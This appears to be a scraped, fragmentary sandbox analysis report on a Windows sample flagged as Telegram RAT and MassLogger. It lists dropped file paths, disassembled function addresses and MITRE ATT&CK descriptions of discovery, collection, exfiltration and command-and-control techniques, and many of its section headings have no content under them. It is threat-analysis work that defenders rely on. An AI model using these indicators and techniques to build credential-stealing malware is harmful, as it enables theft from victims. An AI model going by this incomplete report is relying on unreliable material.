Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ppISxhDcpF.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Abreaction.Abe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Needlings.Mic

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Riprap43.gaw

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\forskansningens.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\fyldebtten.soi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor\wildwestfilm.sto

C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Static File Info

General

File Icon

Windows Analysis Report
ppISxhDcpF.exe

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre